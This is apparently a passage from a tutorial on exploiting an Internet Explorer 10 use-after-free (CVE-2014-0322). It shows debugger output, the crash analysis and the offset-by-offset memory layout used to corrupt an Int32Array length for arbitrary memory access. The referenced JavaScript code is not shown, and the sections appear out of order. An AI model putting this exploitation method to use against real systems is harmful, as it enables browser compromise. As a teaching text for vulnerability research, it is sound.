bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"

If you try it, you’ll see that it works perfectly!

Now we can finally try to make ECX point to our string. But before proceeding, disable the two flags HPA and UST:

Here’s the modified javascript code:

Remember to set the following breakpoint:

bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"

When the breakpoint is triggered, you should see something similar to this:

pic_62The UAF bug (2)

We will need to analyze the bug in IDA.

This time I won’t show you how I determined the content of the string step by step because it’d be a very tedious exposition and you wouldn’t learn anything useful. First I’ll show you the relevant graphs so that you can follow along even without IDA, and then I’ll show you the complete “schema” used to exploit the UAF bug and modify the length of the chosen Array.

Open mshtml in IDA then press Ctrl+P (Jump to function), click on Search and enter CMarkup::IsConnectedToPrimaryMarkup. Double click on the function and you’ll see the crash point:

The nodes with the colored background are the only nodes whose code we execute. The pink nodes contain the crash, whereas the celeste (light blue) nodes contain the overwriting instruction we’ll use to modify the length of the chosen Array.

Click on the signature of IsConnectedToPrimaryMarkup, press Ctrl+X and select CMarkup::OnCssChange (see again the stack trace above if you need to). Here’s the graph of OnCssChange:

Here’s the graph of CMarkup::IsPendingPrimaryMarkup:

Next is the graph of CMarkup::Root:

Here’s the graph of CElement::EnsureFormatCacheChange:

And, finally, this is the graph of CView::AddInvalidationTask, the function which contains the overwriting instruction (inc):

Here’s the schema I devised:

Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
X = [ptr+0A4h] ==> Y = [X+0ch] ==>
            [Y+208h] is 0
            [Y+630h+248h] = [Y+878h] val to inc!      <======
            [Y+630h+380h] = [Y+9b0h] has bit 16 set
            [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
            [Y+1044h] is 0
U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
            [W+0ah] has bit 1 set & bit 4 unset
            [W+44h] has bit 7 set
            [W+5ch] is writable
[ptr+198h] has bit 12 set

Let’s consider the first two lines:

X = [ptr+0A4h] ==> Y = [X+0ch] ==>
            [Y+208h] is 0

The term ptr is the dangling pointer (which should point to our string). The two lines above means [Y+208h] must be 0, where Y is the value at X+0ch, where X is the value at ptr+0a4h.

Deducing such a schema can be time consuming and a little bit of trial and error may be necessary. The goal is to come up with a schema that results in an execution path which reaches the overwriting instruction and then resume the execution of the javascript code without any crashes.

It’s a good idea to start by identifying the must-nodes (in IDA), i.e. the nodes that must belong to the execution path. Then you can determine the conditions that must be met to make sure that those nodes belong to the execution path. Once you’ve done that, you start exploring the graph and see what are the suitable sub-paths for connecting the must-nodes.

You should check that the schema above is correct by looking at the graphs and following the execution path.

Next Part

IE10: Use-After-Free bug

Until now, we have depended on WinDbg for modifying the length of an Int32Array to acquire full read/write access to the space address of the IE process. It’s high time we found a UAF to complete our exploit.

I chose the UAF with code CVE-2014-0322. You can google for it if you want additional information. Here’s the POC to produce the crash:

Copy and paste that code in an HTML file and open it in IE 10. If you do this, you’ll discover that IE doesn’t crash. What’s wrong?


In the same directory as WinDbg, we can find gflags.exe, a utility which can be used to change the Global Flags of Windows. These flags influence the behavior of Windows and can be immensely helpful during debugging. We’re especially interested in two flags:

  1. HPAHeap Page Allocator
  2. USTUser mode Stack Trace

The flag HPA tells Windows to use a special version of the heap allocator that’s useful to detect UAF, buffer overflows and other kinds of bugs. It works by allocating each block in a separate set of contiguous pages (how many depends on the length of the block) so that the end of the block coincides with the end of the last page. The first page after the allocated block is marked as not present. This way, buffer overflows are easily and efficiently detectable. Moreover, when a block is deallocated, all the pages containing it are marked as not present. This makes UAF easy to detect.

Look at the following picture:

A page is 0x1000 bytes = 4 KB. If the allocated block is less than 4 KB, its size can be easily determined from its address with this simple formula:

size(addr) = 0x1000 - (addr & 0xfff)

This formula works because the block is allocated at the end of the page containing it. Have a look at the following picture:

The second flag, UST, tells Windows to save a stack trace of the current stack whenever a heap block is allocated or deallocated. This is useful to see which function and path of execution led to a particular allocation or deallocation. We’ll see an example during the analysis of the UAF bug.

Global flags can be changed either globally or on a per image file basis. We’re interested in enabling the flags HPA and UST just for iexplore.exe so we’re going to choose the latter.

Run gflags.exe, go to the tab Image File, insert the image name and select the two flags as illustrated in the following picture:


Getting the crash

Now load the POC in IE and you should get a crash. If we do the same while debugging IE in WinDbg, we’ll see which instruction generates the exception:

6b900fc4 e83669e6ff      call    MSHTML!CTreePos::SourceIndex (6b7678ff)
6b900fc9 8d45a8          lea     eax,[ebp-58h]
6b900fcc 50              push    eax
6b900fcd 8bce            mov     ecx,esi
6b900fcf c745a804000000  mov     dword ptr [ebp-58h],4
6b900fd6 c745c400000000  mov     dword ptr [ebp-3Ch],0
6b900fdd c745ac00000000  mov     dword ptr [ebp-54h],0
6b900fe4 c745c028000000  mov     dword ptr [ebp-40h],28h
6b900feb c745b400000000  mov     dword ptr [ebp-4Ch],0
6b900ff2 c745b000000000  mov     dword ptr [ebp-50h],0
6b900ff9 c745b8ffffffff  mov     dword ptr [ebp-48h],0FFFFFFFFh
6b901000 c745bcffffffff  mov     dword ptr [ebp-44h],0FFFFFFFFh
6b901007 e80162e6ff      call    MSHTML!CMarkup::Notify (6b76720d)
6b90100c ff4678          inc     dword ptr [esi+78h]  ds:002b:0e12dd38=????????     <---------------------
6b90100f 838e6001000004  or      dword ptr [esi+160h],4
6b901016 8bd6            mov     edx,esi
6b901018 e8640b0600      call    MSHTML!CMarkup::UpdateMarkupContentsVersion (6b961b81)
6b90101d 8b8698000000    mov     eax,dword ptr [esi+98h]
6b901023 85c0            test    eax,eax
6b901025 7416            je      MSHTML!CMarkup::NotifyElementEnterTree+0x297 (6b90103d)
6b901027 81bea4010000905f0100 cmp dword ptr [esi+1A4h],15F90h
6b901031 7c0a            jl      MSHTML!CMarkup::NotifyElementEnterTree+0x297 (6b90103d)
6b901033 8b4008          mov     eax,dword ptr [eax+8]
6b901036 83a0f0020000bf  and     dword ptr [eax+2F0h],0FFFFFFBFh
6b90103d 8d7dd8          lea     edi,[ebp-28h]

It looks like ESI is a dangling pointer.

Here’s the stack trace:

0:007> k 10
ChildEBP RetAddr  
0a10b988 6b90177b MSHTML!CMarkup::NotifyElementEnterTree+0x266
0a10b9cc 6b9015ef MSHTML!CMarkup::InsertSingleElement+0x169
0a10baac 6b901334 MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d
0a10bad0 6b9012f6 MSHTML!CMarkup::InsertElementInternal+0x2e
0a10bb10 6b901393 MSHTML!CDoc::InsertElement+0x9c
0a10bbd8 6b7d0420 MSHTML!InsertDOMNodeHelper+0x454
0a10bc50 6b7d011c MSHTML!CElement::InsertBeforeHelper+0x2a8
0a10bcb4 6b7d083c MSHTML!CElement::InsertBeforeHelper+0xe4
0a10bcd4 6b7d2de4 MSHTML!CElement::InsertBefore+0x36
0a10bd60 6b7d2d01 MSHTML!CElement::Var_appendChild+0xc7
0a10bd90 0c17847a MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55
0a10bdf8 0c176865 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
0a10bf94 0c175cf5 jscript9!Js::InterpreterStackFrame::Process+0x9d4
0a10c0b4 09ee0fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
0a10c0c0 0c1764ff 0x9ee0fe1
0a10c254 0c175cf5 jscript9!Js::InterpreterStackFrame::Process+0x1b57

Let’s determine the size of the (now freed) object:

0:007> ? 1000 - (@esi & fff)
Evaluate expression: 832 = 00000340

Of course, we’re assuming that the object size is less than 0x1000. Finally, here’s an example of stack trace available thanks to the UST flag:

0:007> !heap -p -a @esi
    address 0e12dcc0 found in
    _DPH_HEAP_ROOT @ 141000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    e2d0b94:          e12d000             2000
    733990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    772b1564 ntdll!RtlDebugFreeHeap+0x0000002f
    7726ac29 ntdll!RtlpFreeHeap+0x0000005d
    772134a2 ntdll!RtlFreeHeap+0x00000142
    74f414ad kernel32!HeapFree+0x00000014
    6b778f06 MSHTML!CMarkup::`vector deleting destructor'+0x00000026
    6b7455da MSHTML!CBase::SubRelease+0x0000002e
    6b774183 MSHTML!CMarkup::Release+0x0000002d
    6bb414d1 MSHTML!InjectHtmlStream+0x00000716
    6bb41567 MSHTML!HandleHTMLInjection+0x00000082
    6bb3cfec MSHTML!CElement::InjectInternal+0x00000506
    6bb3d21d MSHTML!CElement::InjectTextOrHTML+0x000001a4
    6ba2ea80 MSHTML!CElement::put_outerHTML+0x0000001d      <----------------------------------
    6bd3309c MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x00000054    <---------------------
    0c17847a jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185
    0c1792c5 jscript9!Js::JavascriptArray::GetSetter+0x000000cf
    0c1d6c56 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x000005a8
    0c1ac53b jscript9!Js::InterpreterStackFrame::Process+0x00000fbf
    0c175cf5 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305

This proves that ESI is indeed a dangling pointer. The names of the functions suggest that the object is deallocated while executing the assignment

this.outerHTML = this.outerHTML;

inside the function handler. This means that we should allocate the new object to replace the old one in memory right after that assignment. We already saw how UAF bugs can be exploited in the chapter exploitme5 (Heap spraying & UAF) so I won’t repeat the theory here.

What we need is to allocate an object of the same size of the deallocated object. This way, the new object will be allocated in the same portion of memory which the deallocated object occupied. We know that the object is 0x340 bytes, so we can create a null-terminated Unicode string of 0x340/2 – 1 = 0x19f = 415 wchars.

First of all, let’s pinpoint the exact point of crash:

0:007> !address @eip

Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

Usage:                  Image
Base Address:           6c4a1000
End Address:            6d0ef000
Region Size:            00c4e000
State:                  00001000    MEM_COMMIT
Protect:                00000020    PAGE_EXECUTE_READ
Type:                   01000000    MEM_IMAGE
Allocation Base:        6c4a0000
Allocation Protect:     00000080    PAGE_EXECUTE_WRITECOPY
Image Path:             C:\Windows\system32\MSHTML.dll
Module Name:            MSHTML
Loaded Image Name:      C:\Windows\system32\MSHTML.dll
Mapped Image Name:      
More info:              lmv m MSHTML
More info:              !lmi MSHTML
More info:              ln 0x6c6c100c
More info:              !dh 0x6c4a0000

0:007> ? @eip-mshtml
Evaluate expression: 2232332 = 0022100c

So the exception is generated at mshtml + 0x22100c. Now close WinDbg and IE, run them again, open the POC in IE and put a breakpoint on the crashing point in WinDbg:

bp mshtml + 0x22100c

Now allow the blocked content in IE and the breakpoint should be triggered right before the exception is generated. This was easy. This is not always the case. Sometimes the same piece of code is executed hundreds of times before the exception is generated.

Now we can try to allocate a new object of the right size. Let’s change the POC as follows:

Note the nice trick to create a string with 415a“!

Before opening the POC in IE, we need to disable the flags HPA and UST (UST is not a problem, but let’s disable it anyway):

Now let’s reopen the POC in IE, put a breakpoint at mshtml + 0x22100c and let’s see what happens:

Wonderful! ESI points to our object (0x61 is the code point for the character ‘a‘) and now we can take control of the execution flow. Our goal is to reach and control an instruction so that it writes 0x20 at the address 0x0c0af01b. You should know this address by heart by now!

You might be wondering why we assign a string to the className property of a DOM element. Note that we don’t just write

var str = new Array(416).join("a");

When we assign the string to elem.className, the string is copied and the copy is assigned to the property of the DOM element. It turns out that the copy of the string is allocated on the same heap where the object which was freed due to the UAF bug resided. If you try to allocate, for instance, an ArrayBuffer of 0x340 bytes, it won’t work, because the raw buffer for the ArrayBuffer will be allocated on another heap.

Controlling the execution flow

The next step is to see if we can reach a suitable instruction to write to memory at an arbitrary address starting from the crash point. Once again, we’ll use IDA. I can’t stress enough how useful IDA is.

We determined the address of the crash point to be mshtml + 0x22100c. This means that we need to disassemble the library mshtml.dll. Let’s find the path:

0:016> lmf m mshtml
start    end        module name
6b6e0000 6c491000   MSHTML   C:\Windows\system32\MSHTML.dll

Now let’s open that .dll in IDA and, when asked, allow IDA to load symbols from the Microsoft server. Let’s go to ViewOpen subviewsSegments. From there we can determine the base address of mshtml:

As we can see, the base address is 0x63580000. Now close the Program Segmentation tab, press g and enter 0x63580000+0x22100c. You should find yourself at the crash location.

Let’s start with the analysis:

The value of [esi+98h] must be non 0 because our string can’t contain null wchars (they would terminate the string prematurely, being the string null-terminated). Because of this, the execution reaches the second node where [esi+1a4h] is compared with 15f90h. We can choose [esi+1a4h] = 11111h so that the third node is skipped and a crash is easily avoided, but we could also set up things so that [eax+2f0h] is writable.

Now let’s look at the function ?UpdateMarkupContentsVersion:

The picture should be clear enough. Anyway, there’s an important point to understand. We know that the Int32Array whose length we want to modify is at address 0xc0af000, but we don’t control the values at that address. We know, however, that the value at 0xc0af01c is the address of the raw buffer associated with the Int32Array. Note that we don’t know the address of the raw buffer, but we know that we can find that address at 0xc0af01c. Now we must make sure that the dword at offset 1c0h in the raw buffer is 0. Unfortunately, the raw buffer is only 0x58 bytes. Remember that we can’t allocate a bigger raw buffer because it must have the exact same size of a LargeHeapBlock. But there is an easy solution: allocate more raw buffers!

Let’s summarize our memory layout:

Object size = 0x340 = 832
offset: value
   94h: 0c0af010h
        (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
  0ach: 0c0af00bh
        (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
  1a4h: 11111h
        (X = [obj_addr+1a4h] = 11111h < 15f90h)

We need to make several changes to our html file.

First, we add the code for triggering the UAF bug and taking control of the execution flow:

Next, we must create 4 more ArrayBuffer, as we’ve already discussed:

Having added 4 more ArrayBuffers, we also need to fix the code which computes the address of the first raw buffer:

Basically, we changed int32array[0x60*N/4] into int32array[0x60*(N+4)/4] to account for the additional 4 raw buffers after the original raw buffer. Also, the last line was

buf_addr = nextPtr1 - 0x60*2

and has been changed to

buf_addr = nextPtr1 - 0x60*(2+4)

for the same reason.

I noticed that sometimes SaveToFile fails, so I decided to force the page to reload when this happens:

Here’s the full code: